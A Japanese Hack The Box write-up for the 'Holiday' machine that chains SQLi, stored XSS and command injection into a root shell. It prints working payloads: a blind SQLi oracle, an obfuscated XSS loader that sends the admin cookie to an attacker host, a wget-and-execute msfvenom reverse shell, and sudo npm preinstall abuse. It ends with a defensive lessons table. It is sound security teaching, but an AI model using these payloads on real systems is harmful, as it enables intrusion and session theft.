Hack The BoxのWriteup(Holiday)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Holiday — 全実行コマンド・実行結果レポート
Nmap スキャン
22/8000のみ
→
User-Agent フィルタ回避
Linux を含むUA必須
→
SQLite blind SQLi
/login username、サブクエリ不要の列読取
→
RickA資格情報奪取
MD5 crack → nevergonnagiveyouup
→
Stored XSS
charcode難読化で管理者Cookie窃取
→
/admin/export コマンド注入
&区切り + 10進IP
→
algernon シェル
user.txt ✓
→
sudo npm preinstall 悪用
NOPASSWD: /usr/bin/npm i *
→
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p 22,8000 -sV -sC --max-retries 2 10.129.29.106
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
開いているのは SSH と Node.js アプリの 2 ポートのみ。http-title: Error は後述の User-Agent フィルタにより既定の UA では 404/Error を返すため。

User-Agent フィルタの発見

BASH
# 既定のUA(Linuxを含まない)
curl -s -i --max-time 10 http://10.129.29.106:8000/

# UAにLinuxを含める
curl -s -i -A "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" \
  --max-time 10 http://10.129.29.106:8000/
RESULT
HTTP/1.1 404 Not Found   ← 既定UA

HTTP/1.1 200 OK          ← Linux付きUA
Content-Length: 621
...<title>Booking Management</title>...
🚨
express-useragent ライブラリの req.useragent.isDesktop || isMobile 判定で、 UA 文字列に Linux/Windows/Mac/ChromeOS のいずれかが含まれないと即 404 を返す。 これにより通常の gobuster/curl による素の列挙は何も見つけられない (PDF記載どおり「UAにLinuxを含めること」が必須)。

ディレクトリ列挙(Linux UA付き)

BASH
gobuster dir -u http://10.129.29.106:8000 \
  -a "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" \
  -w /usr/share/wordlists/dirb/common.txt -t 30
RESULT
login                (Status: 200)
admin                (Status: 302) [--> /login]
agent                (Status: 302) [--> /login]
css                  (Status: 301) [--> /css/]
img                  (Status: 301) [--> /img/]
js                   (Status: 301) [--> /js/]
logout               (Status: 302) [--> /login]
ℹ️
/login(ログインフォーム)、/admin・/agent (認証必須、未ログインは /login へリダイレクト)を確認。
PHASE 2

SQLite Boolean-Blind SQLi で RickA の資格情報を奪取

sqlmap によるインジェクション確認

BASH
sqlmap -u "http://10.129.29.106:8000/login" \
  --data="username=admin&password=admin" \
  -A "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" \
  --batch -p username --level=3 --risk=2
RESULT
Parameter: username (POST)
    Type: boolean-based blind
    Title: SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)
    Payload: username=admin") AND CASE WHEN 4727=4727 THEN 4727 ELSE JSON(CHAR(81,65,100,66)) END AND ("MFtm"="MFtm&password=admin
---
the back-end DBMS is SQLite

アプリのソースコード解析 — クエリ構造の特定

NOTE (setup/router.js より)
'SELECT id, username, password, active FROM users WHERE ' +
'(active=1 AND (username = "' + req.body.username + '"))'
🚨
req.body.username はサニタイズも SQL キーワードフィルタも一切無しに直接文字列結合される。 重要な点としてパスワードは SQL に一切登場しない — クエリは username だけで行を取得し、 MD5 ハッシュ比較は取得した行に対し JavaScript 側で行われる。これにより、実在するユーザー名 (RickA) を outer の username に使えば、同じ行の他カラム(password)を サブクエリ無しで直接参照できる((SELECT ... FROM users) 形式のネストした サブクエリは別の理由で不安定だったため、この手法のほうが確実)。

3値を区別できる応答 — Invalid User / Incorrect Password / Error Occurred

PYTHON (注入ペイロード構造)
# username = RickA") AND CASE WHEN SUBSTR(password,pos,1)='X'
#            THEN 4727 ELSE JSON(CHAR(81,65,100,66)) END AND ("MFtm"="MFtm
#
# 真 (文字が一致): JSON()分岐を通らず例外無し → RickAの行が返るがpassword="x"
#                  と一致しないため "Incorrect Password"
# 偽 (文字が不一致): ELSE分岐のJSON(CHAR(...))が不正なJSONで例外発生
#                  → "Error Occurred"
BASH (実機での1文字目検証)
# 'f' (正解の先頭文字)
curl -s -A "$UA" -X POST \
  --data-urlencode 'username=RickA") AND CASE WHEN SUBSTR(password,1,1)='"'"'f'"'"' THEN 4727 ELSE JSON(CHAR(81,65,100,66)) END AND ("MFtm"="MFtm' \
  --data-urlencode "password=x" http://10.129.29.106:8000/login

# 'z' (不一致)
curl -s -A "$UA" -X POST \
  --data-urlencode 'username=RickA") AND CASE WHEN SUBSTR(password,1,1)='"'"'z'"'"' THEN 4727 ELSE JSON(CHAR(81,65,100,66)) END AND ("MFtm"="MFtm' \
  --data-urlencode "password=x" http://10.129.29.106:8000/login
RESULT
'f' → <h2>Incorrect Password</h2>   (真)
'z' → Error Occurred                    (偽)
✅
この2値を見分けるオラクルを使い、SUBSTR(password,pos,1) を1〜32バイト目まで 0-9a-f の16候補を総当りして MD5 ハッシュ全体を抽出できる。

MD5ハッシュ抽出 & crack

RESULT (32バイト全て抽出)
fdc8cd4cff2c19e0d1022e78481ddf36
BASH (crack確認)
echo -n "nevergonnagiveyouup" | md5sum
RESULT
fdc8cd4cff2c19e0d1022e78481ddf36  -   ← 完全一致
ℹ️
rockyou.txt では crack できなかったため、より広範なハッシュDB(hashkiller等)で検索。 “RickA”(Rick Astley) のユーザー名にちなんだジョークパスワード nevergonnagiveyouup が正解だった。

RickA ログイン

BASH
curl -s -A "$UA" -i -c cookies.txt -X POST \
  --data-urlencode "username=RickA" \
  --data-urlencode "password=nevergonnagiveyouup" \
  http://10.129.29.106:8000/login
RESULT
HTTP/1.1 302 Found
Location: /agent
set-cookie: connect.sid=s%3A643df090-...; Path=/; HttpOnly
Credentials
RickA : nevergonnagiveyouup
PHASE 3

Stored XSS で管理者の connect.sid を窃取

Add Note 機能の発見

BASH
curl -s -A "$UA" -b cookies.txt http://10.129.29.106:8000/vac/<uuid>
RESULT (抜粋)
<form class="form" action="/agent/addNote" method="post">
  <input type="hidden" name="uuid" value="8dd841ff-...-9a833e2c6b65">
  <textarea class="form-control" name="body"></textarea>
  <button type="submit">Add</button>
</form>
<i>All notes must be approved by an administrator - this process can take up to 1 minute.</i>

XSSフィルタの解析

NOTE (setup/router.js より, js-xss ライブラリ設定)
whiteList: { img: ['src'] }
onTagAttr: (tag, name, value) => value.replace(/["' ]/g, '')
🚨
許可されるタグは <img> の src 属性のみ。onTagAttr は その値から 二重引用符・単一引用符・空白の3種類だけを除去する。> は フィルタ対象外のため、src="x/> のように早期に > を混入させれば サニタイザは「属性値の一部」として無害化扱いするが、ブラウザは生の HTML として再解釈し img タグをそこで閉じてしまう。その直後に続く <script>...</script> はサニタイザの許可タグリストを経由せず素通りする。

charcode難読化ペイロードの構築

PYTHON (ペイロード生成)
loader = '''document.write('<script src="http://10.10.15.200:8020/x.js"></script>');'''
codes = ','.join(str(ord(c)) for c in loader)
body = '<img src="x/><script>eval(String.fromCharCode(' + codes + '));</script>">'
ℹ️
loader 文字列自体は引用符や空白を含むが、10進文字コード(数字+カンマ)として 埋め込む[“‘ ] には一切引っかからない。 ブラウザが eval(String.fromCharCode(...)) を実行する段階で初めて本来の 引用符付き文字列に復元される。

C2サーバー起動 & DOM経由のCookie窃取スクリプト

PYTHON (x.js の内容 — C2が配信)
window.onload = function() {
  try {
    var i = document.querySelector('input[name="cookie"]');
    var c = i ? i.value : '';
    var img = new Image();
    img.src = 'http://10.10.15.200:8020/c?v=' + encodeURIComponent(c);
  } catch(e) {}
};
🚨
管理者の connect.sid は HttpOnly のため document.cookie からは読めない。しかし管理者がノート承認画面を閲覧する際、その画面自体に <input type="hidden" name="cookie" value="connect.sid=..."> という 隠しフィールドが(承認フォームの一部として)埋め込まれている設計上の抜け道があり、 同一ページ内で実行される自分の XSS スクリプトは通常の DOM 要素としてこの値を読める。 盗んだ値は <img> タグの src 読み込み(GETビーコン)で外部へ送出する。

悪意あるノート投稿 & 管理者Bot待機

BASH
curl -s -A "$UA" -b cookies.txt -X POST \
  --data-urlencode "uuid=8dd841ff-3f44-4f2b-9324-9a833e2c6b65" \
  --data-urlencode 'body=<img src="x/><script>eval(String.fromCharCode(100,111,99,...));</script>">' \
  http://10.129.29.106:8000/agent/addNote
RESULT (C2サーバー側ログ、投稿から約1分以内)
STOLEN:connect.sid=s%3A78ec6f30-c97a-11f1-9de4-ef5d08fc275a.BQG8oPrZ9ZCLPUK9Mk5BmeeO21rYzUNKYAp9MS7d3Sw
✅
管理者セッション奪取成功! この connect.sid を自分のリクエストの Cookie ヘッダーに設定すれば、管理者として /admin 配下にアクセスできる。
PHASE 4

/admin/export コマンドインジェクション → user.txt

export機能のソース解析

NOTE (setup/router.js より)
let filtered = req.query.table.replace(/[^a-z0-9& \/]/g, '');
if (filtered !== req.query.table) {
  return res.status(500).send("Invalid table name - only characters in the range of [a-z0-9&\\s\\/] are allowed");
}
exec('sqlite3 hex.db SELECT\\ *\\ FROM\\ ' + filtered, ...);
🚨
許可文字は小文字英数字・&・空白・/ のみ。 大文字・ハイフン・ドット・アンダースコア・コロン・セミコロン・パイプ・引用符は 1文字でも混入すると 500 エラーで全体が無効になる。& はシェルのコマンド区切りとして 使えるため、ここがコマンドインジェクションの入口になる。

id 実行確認

BASH
curl -s -A "$UA" -H "Cookie: connect.sid=<盗んだ値>" \
  "http://10.129.29.106:8000/admin/export?table=x%26id"
RESULT
uid=1001(algernon) gid=1001(algernon) groups=1001(algernon)
ℹ️
クエリは sqlite3 hex.db SELECT * FROM x&id となり、テーブル x は 実在しないため sqlite3 はエラー終了するが、& で区切られた id は独立したコマンドとして実行される。

複数コマンドの連結 — 2つの落とし穴

NOTE
落とし穴①: 最初の区切りは単純 "&"(前段の成否に無関係に次へ進む)が必須。
"&&"(前段成功時のみ実行)を使うと、存在しないテーブル x に対する
sqlite3 コマンドが非ゼロ終了するため、以降が一切実行されない。

落とし穴②: 2個目以降のコマンド同士の区切りは逆に "&&" が必須。
単純な "&" はシェルの「バックグラウンド化」を意味し、cd/wget/chmod/実行が
全て並行実行されてしまい、wget のダウンロード完了を待たずに
chmod・実行が走る競合でサイレントに失敗する。

落とし穴③: ファイル名・パスにハイフン/ドット/アンダースコアを含められない
(フィルタ対象) ため、wget の -O フラグは使えない。wget 自身の既定動作
(URL末尾セグメントをファイル名にする) に任せ、小文字英数字のみの
ファイル名 (例: "shell") を使う。
BASH (正しい区切り)
# IPは10進表記 (ドット不可のため)
python3 -c "a,b,c,d=(int(x) for x in '10.10.15.200'.split('.'));print((a<<24)+(b<<16)+(c<<8)+d)"
# => 168431560

table = "x&cd /tmp&&wget 168431560/shell&&chmod 777 shell&&/tmp/shell"

リバースシェル配信 & 受信

BASH
# msfvenomでELF x64 reverse shellを生成し、カレントディレクトリで配布
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.15.200 LPORT=9230 -f elf -o shell
python3 -m http.server 80 --bind 0.0.0.0   # バイナリ配布
nc -lvnp 9230                               # シェル受信

# コマンドインジェクション発火
curl -s -A "$UA" -H "Cookie: connect.sid=<盗んだ値>" \
  "http://10.129.29.106:8000/admin/export?table=x%26cd%20%2Ftmp%26%26wget%20168431560%2Fshell%26%26chmod%20777%20shell%26%26%2Ftmp%2Fshell"
RESULT (リスナー側)
[*] listening
[+] connected from ('10.129.29.106', 40240)
uid=1001(algernon) gid=1001(algernon) groups=1001(algernon)

user.txt取得

BASH
cat /home/algernon/user.txt
RESULT
c59f042385b53870149d9dfa77e8be67
user.txt — algernon@holiday
c59f042385b53870149d9dfa77e8be67
PHASE 5

権限昇格調査 — sudo -l

sudo権限の確認

BASH
algernon@holiday:/tmp$ sudo -l
RESULT
Matching Defaults entries for algernon on holiday:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User algernon may run the following commands on holiday:
    (ALL) NOPASSWD: /usr/bin/npm i *
🚨
npm i *(任意パッケージ/ディレクトリの install)が root 権限でパスワード無しに実行可能。 npm パッケージには package.json の scripts.preinstall に任意コマンドを 仕込め、これは install 処理の一部としてそのまま sudo の権限(root)で実行される。
PHASE 6

npm preinstall 悪用 → root.txt

悪意ある package.json の作成

BASH
algernon@holiday:/tmp$ mkdir -p /tmp/hpriv && cd /tmp/hpriv
algernon@holiday:/tmp/hpriv$ cat > package.json <<'EOF'
{
  "name": "hpriv",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "cat /root/root.txt"
  }
}
EOF
RESULT
{
  "name": "hpriv",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "cat /root/root.txt"
  }
}

sudo npm i –unsafe 実行

BASH
algernon@holiday:/tmp/hpriv$ sudo /usr/bin/npm i /tmp/hpriv --unsafe
RESULT
> hpriv@1.0.0 preinstall /tmp/hpriv
> cat /root/root.txt

4f2c65e9974db7df73cc17e73b4a7bed
npm WARN hpriv@1.0.0 No description
npm WARN hpriv@1.0.0 No repository field.
npm WARN hpriv@1.0.0 No license field.
✅
root権限でのコマンド実行成功! --unsafe フラグは npm に 「root権限での preinstall スクリプト実行を許可する」ことを明示的に伝えるオプションで、 通常は危険防止のため root では preinstall がスキップされるところをバイパスする。

root.txt取得

root.txt — root@holiday
4f2c65e9974db7df73cc17e73b4a7bed
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — algernon@holiday
c59f042385b53870149d9dfa77e8be67
root.txt — root@holiday
4f2c65e9974db7df73cc17e73b4a7bed

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
User-Agentフィルタ express-useragent ミドルウェア 通常のスキャナでの探索を妨げる(実質的な防御迂回のみ) Medium UAに”Linux”を含めることで404を回避しアプリ本体へ到達
SQLite Boolean-Blind SQLi /login (username パラメータ) 任意ユーザーの他カラム(パスワードハッシュ)読み取り Critical 文字列結合クエリに実在ユーザー名を使い、同一行のpasswordカラムを CASE WHEN+JSON()例外オラクルでサブクエリ無しに1バイトずつ抽出
Stored XSS (管理者セッション窃取) /agent/addNote (body フィールド) HttpOnly管理者セッションの奪取 Critical img src属性の引用符/空白のみ除去する甘いサニタイザをchar-code難読化とタグ早期終了で回避、 DOM上の隠しcookieフィールドを窃取
/admin/export コマンドインジェクション table クエリパラメータ 任意コマンド実行(algernon権限) Critical 許可文字([a-z0-9&\s/])のみで wget→chmod→実行を正しい区切り(& と &&)で構成しRCE、 user.txt 取得
sudo npm preinstall 悪用 /usr/bin/npm i * (NOPASSWD) root権限でのコマンド実行 High package.jsonのpreinstallスクリプトに任意コマンドを仕込み –unsafe でroot実行、 root.txt 取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + UAフィルタ回避 + gobuster22/8000、/login /admin /agent 発見
2SQLiサブクエリ無しのCASE WHEN+JSON()例外オラクルRickA:nevergonnagiveyouup
3XSScharcode難読化img属性ブレイクアウト管理者 connect.sid
4RCE/admin/export コマンドインジェクション(10進IP)user.txt(algernonシェル)
5権限調査sudo -lNOPASSWD: /usr/bin/npm i *
6権限昇格npm preinstall + –unsaferoot.txt(root権限)

学んだ教訓 & 防御策

問題点防御策
User-Agentチェックを「セキュリティ境界」として誤用 UA文字列はクライアントが完全に制御可能であり認証/アクセス制御の根拠にしてはならない。 本来のボット対策・互換性判定の用途に限定する。
SQLクエリへのユーザー入力の直接文字列結合 必ずパラメータ化クエリ(プリペアドステートメント)を使う。文字列結合によるSQL組み立ては フレームワークに関わらず禁止する。
XSSサニタイザが引用符・空白のみを除去し>を見落とす 許可する属性は厳格なスキーマ検証(URLスキーム制限など)を行い、文字除去ではなく 全体の再エンコードで無害化する。信頼できるライブラリ(DOMPurify等)の既定設定を使う。
HttpOnly Cookieの値を独自に画面上のhiddenフィールドへ複製 CSRF対策はCSRFトークン専用の仕組み(SameSite Cookie、Double Submit Cookie等)で行い、 セッションIDそのものをHTMLに埋め込まない。
ユーザー入力を正規表現の文字許可リストだけでフィルタしシェルに渡す 外部コマンド実行自体を避ける(SQLiteならライブラリのAPIで完結させる)。 どうしても必要な場合は execFile() 等の配列引数版を使いシェル解釈を介さない。
root権限でのsudoルールが汎用コマンド(npm等)のワイルドカード実行を許可 sudoersはサブコマンド・引数まで厳密に固定する。npm/pip/gem等のパッケージマネージャは 任意コードを実行するフック(pre/post install)を持つため、rootでの実行を原則禁止する (GTFOBinsで既知の悪用パターン)。
HackTheBox: Holiday | 完全攻略レポート